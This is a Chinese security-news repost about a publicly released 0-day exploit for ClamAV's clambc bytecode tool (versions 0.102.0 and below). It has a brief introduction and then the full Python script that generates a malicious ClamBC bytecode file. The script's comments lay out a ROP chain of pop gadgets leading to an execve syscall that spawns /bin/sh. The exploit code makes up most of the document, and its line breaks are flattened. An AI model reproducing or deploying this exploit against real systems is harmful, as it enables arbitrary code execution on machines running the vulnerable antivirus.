GitHub用户 momika233 公开了免费开源杀毒软件 ClamAV 当前版本(0.102.0及以下版本)的0day exploit 详情。他发布的全文如下:
2002年,ClamAV作为基于 UNIX系统的解决方案出现,它构建于基于签名的检测方法且目前仍在开发过程中。当时,LibClamAV 仅保留2个二进制文件,目前已扩展至5个。
ClamBC 异常复杂,用作字节码的测试工具,主要验证和解释其中的代码,它提供的信息并未表明和解释其内部机制的存在。
由于源代码可用且缺乏文档,本文应运而生。本文的目的并非提升权限,仅仅是作为一种体验,以及体会挑战带来的乐趣。
由于分析需要花费大量时间,因此对引擎的剖析迫在眉睫,同时分析极大地拓宽了我们对其内部结构的认识。尝试和出错的过程带来了有价值的信息、导致潜在漏洞的崩溃,有效地增加了攻击面,扩大了被攻击的可能性。
Exploit 代码如下:
> ./exploit.py> clambc --debug exploit[SNIP]$"""names = ["test1","read","write","seek","setvirusname","debug_print_str","debug_print_uint","disasm_x86","trace_directory","trace_scope","trace_source","trace_op","trace_value","trace_ptr","pe_rawaddr","file_find","file_byteat","malloc","test2","get_pe_section","fill_buffer","extract_new","read_number","hashset_new","hashset_add","hashset_remove","hashset_contains","hashset_done","hashset_empty","buffer_pipe_new","buffer_pipe_new_fromfile","buffer_pipe_read_avail","buffer_pipe_read_get","buffer_pipe_read_stopped","buffer_pipe_write_avail","buffer_pipe_write_get","buffer_pipe_write_stopped","buffer_pipe_done","inflate_init","inflate_process","inflate_done","bytecode_rt_error","jsnorm_init","jsnorm_process","jsnorm_done","ilog2","ipow","iexp","isin","icos","memstr","hex2ui","atoi","debug_print_str_start","debug_print_str_nonl","entropy_buffer","map_new","map_addkey","map_setvalue","map_remove","map_find","map_getvaluesize","map_getvalue","map_done","file_find_limit","engine_functionality_level","engine_dconf_level","engine_scan_options","engine_db_options","extract_set_container","input_switch","get_environment","disable_bytecode_if","disable_jit_if","version_compare","check_platform","pdf_get_obj_num","pdf_get_flags","pdf_set_flags","pdf_lookupobj","pdf_getobjsize","pdf_getobj","pdf_getobjid","pdf_getobjflags","pdf_setobjflags","pdf_get_offset","pdf_get_phase","pdf_get_dumpedobjid","matchicon","running_on_jit","get_file_reliability","json_is_active","json_get_object","json_get_type","json_get_array_length","json_get_array_idx","json_get_string_length","json_get_string","json_get_boolean","json_get_int"]o = names.index("buffer_pipe_new") + 1k = names.index("buffer_pipe_write_get") + 1l = names.index("debug_print_str") + 1m = names.index("malloc") + 1c = 0for name in names:names[c] = name.encode("hex")c += 1def cc(n):v = chr(n + 0x60)return vdef cs(s):t = ""for i in xrange(0, len(s), 2):u = int(s[i], 16)l = int(s[i + 1], 16)for i in [u, l]:if((i >= 0 and i <= 0xf)):continueprint "Invalid string."exit(0)t += cc(l) + cc(u)return tdef wn(n, fixed=0, size=0):if n is 0:return cc(0)t = ""c = hex(n)[2:]l = len(c)if (l % 2) is 1:c = "0" + cr = c[::-1]if(l <= 0x10):if not fixed:t = cc(l)i = 0while i < l:t += cc(int(r[i], 16))i += 1else:print "Invalid number."exit(0)if size != 0:t = t.ljust(size, "`")return tdef ws(s):t = "|"e = s[-2:]if(e != "00"):print "[+] Adding null-byte at the end of the string.."s += "00"l = (len(s) / 2)if (len(s) % 2) is 1:print "Invalid string length."exit(0)t += wn(l)t += cs(s)return tdef wt(t):if t < (num_types + 0x45):v = wn(t)return velse:print "Invalid type."exit(0)def initialize_header(minfunc=0, maxfunc=0, num_func=0, linelength=4096):global flimit, num_typesif maxfunc is 0:maxfunc = flimitif(minfunc > flimit or maxfunc < flimit):print "Invalid minfunc and/or maxfunc."exit(0)header = "ClamBC"header += wn(0x07) # formatlevel(6, 7)header += wn(0x88888888) # timestampheader += ws("416c69656e") # sigmakerheader += wn(0x00) # targetExcludeheader += wn(0x00) # kindheader += wn(minfunc) # minfuncheader += wn(maxfunc) # maxfuncheader += wn(0x00) # maxresourceheader += ws("00") # compilerheader += wn(num_types + 5) # num_typesheader += wn(num_func) # num_funcheader += wn(0x53e5493e9f3d1c30) # magic1header += wn(0x2a, 1) # magic2header += ":"header += str(linelength)header += chr(0x0a)*2return headerdef prepare_types(contained, type=1, nume=1):global num_typestypes = "T"types += wn(0x45, 1) # start_tid(69)for i in range(0, num_types):types += wn(type[i], 1) # kindif type[i] in [1, 2, 3]:# Function, PackedStruct, Structtypes += wn(nume[i]) # numElementsfor j in range(0, nume[i]):types += wt(contained[i][j]) # containedTypes[j]else:# Array, Pointerif type[i] != 5:types += wn(nume[i]) # numElementstypes += wt(contained[i][0]) # containedTypes[0]types += chr(0x0a)return typesdef prepare_apis(calls=1):global maxapi, names, ids, tidsif(calls > max_api):print "Invalid number of calls."exit(0)apis = "E"apis += wn(max_api) # maxapiapis += wn(calls) # calls(<= maxapi)for i in range(0, calls):apis += wn(ids[i]) # idapis += wn(tids[i]) # tidapis += ws(names[ids[i] - 1]) # nameapis += chr(0x0a)return apisdef prepare_globals(numglobals=1):global max_globals, type, gvalglobals = "G"globals += wn(max_globals) # maxglobalsglobals += wn(numglobals) # numglobalsfor i in range(0, numglobals):globals += wt(type[i]) # typefor j in gval[i]: # subcomponentsn = wn(j)globals += chr(ord(n[0]) - 0x20)globals += n[1:]globals += cc(0)globals += chr(0x0a)return globalsdef prepare_function_header(numi, numbb, numa=1, numl=0):global alloif numa > 0xf:print "Invalid number of arguments."exit(0)fheader = "A"fheader += wn(numa, 1) # numArgsfheader += wt(0x20) # returnTypefheader += "L"fheader += wn(numl) # numLocalsfor i in range(0, numa + numl):fheader += wn(type[i]) # typesfheader += wn(allo[i], 1) # | 0x8000fheader += "F"fheader += wn(numi) # numInstsfheader += wn(numbb) # numBBfheader += chr(0x0a)return fheaderflimit = 93max_api = 100max_globals = 32773num_types = 6# Header parsingw = initialize_header(num_func=0x1)# Types parsingcont = [[0x8], [0x45], [0x20, 0x20], [0x41, 0x20, 0x20], [0x20, 0x41, 0x20], [0x41, 0x20]]type = [0x4, 0x5, 0x1, 0x1, 0x1, 0x1]num = [0x8, 0x1, 0x2, 0x3, 0x3, 0x2]w += prepare_types(cont, type, num)# API parsingids = [o, k, l, m]tids = [71, 72, 73, 74]w += prepare_apis(0x4)"""# crash @ id=0"""# Globals parsingtype = [0x45]gval = [[0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]]w += prepare_globals(0x1)# Function header parsingtype = [0x45, 0x41, 0x40, 0x40, 0x40, 0x40, 0x20]allo = [ 1, 0, 0, 0, 0, 0, 0]w += prepare_function_header(35, 0x1, 0x0, 0x7)# BB parsingp = "B"# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x0)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "@d"# STORE (0x0068732f6e69622f(L=8) -> ([Var #1]))p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += "Nobbfifnfobcghfh"p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x360)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "C`fcd"# LOAD Var #2 = ([Var #1])p += wn(0x40)p += wn(0x2)p += wn(0x27, 1)p += wn(0x1)# SUB Var #2 -= 0xd260p += wn(0x40)p += wn(0x2)p += wn(0x2, 1, 2)p += wn(0x2)p += "D`fbmd"# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`ad"# LOAD Var #3 = ([Var #1])p += wn(0x40)p += wn(0x3)p += wn(0x27, 1)p += wn(0x1)# SUB Var #3 -= 0x10p += wn(0x40)p += wn(0x3)p += wn(0x2, 1, 2)p += wn(0x3)p += "B`ad"# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`cd"# LOAD Var #4 = ([Var #1])p += wn(0x40)p += wn(0x4)p += wn(0x27, 1)p += wn(0x1)# SUB Var #4 -= 0x190p += wn(0x40)p += wn(0x4)p += wn(0x2, 1, 2)p += wn(0x4)p += "C`iad"# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x38)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "Bhcd"# STORE (Var #3 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x3)p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x48)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "Bhdd"# ADD Var #3 += 0x3p += wn(0x40)p += wn(0x3)p += wn(0x2, 1, 2)p += wn(0x3)p += "Acd"# STORE (Var #3 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x3)p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x28)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "Bhbd"# ADD Var #5 += Var #2 + 0xcbdap += wn(0x40)p += wn(0x5)p += wn(0x1, 1, 2)p += wn(0x2)p += "Djmkld"# STORE (Var #5 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x5)p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x20)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`bd"# STORE (Var #4 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x4)p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x18)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "Bhad"# ADD Var #5 += Var #2 + 0x99dcp += wn(0x40)p += wn(0x5)p += wn(0x1, 1, 2)p += wn(0x2)p += "Dlmiid"# STORE (Var #5 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x5)p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`ad"# STORE (0x3b -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += "Bkcd"p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`cd"# STORE (0x0 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += "@d"p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x40)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`dd"# STORE (0x0 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += "@d"p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x8)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "Ahd"# ADD Var #2 += 0x6d68p += wn(0x40)p += wn(0x2)p += wn(0x1, 1, 2)p += wn(0x2)p += "Dhfmfd"# STORE (Var #2 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x2)p += wn(0x1)"""0x99dc : pop rdi ; ret0xcbda : pop rsi ; ret0x6d68 : pop rax ; retVar #2 = text_baseVar #3 = syscall (+3: pop rdx; ret)Var #4 = "/bin/sh\x00"pop rax; ret; o 0x859 o 0x10pop rdi; ret; o 0x18sh; address o 0x20pop rsi; ret; o 0x280x0 o 0x30pop rdx; ret; o 0x380x0 o 0x40syscall o 0x48"""# COPY Var #6 = (0x5a90050f(o`e``ije))p += wn(0x20)p += wn(0x0)p += wn(0x22, 1)p += "Ho`e``ijeh"p += wn(0x6)p += "T"p += wn(0x13, 1)p += wn(0x20)p += wn(0x6)p += "E"w += pf = open("exploit", "w")f.write(w)f.close()print "[+] Generated payload""""
原文链接
https://github.com/momika233/ClamAV_0Day_exploit/
声明:本文来自代码卫士,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。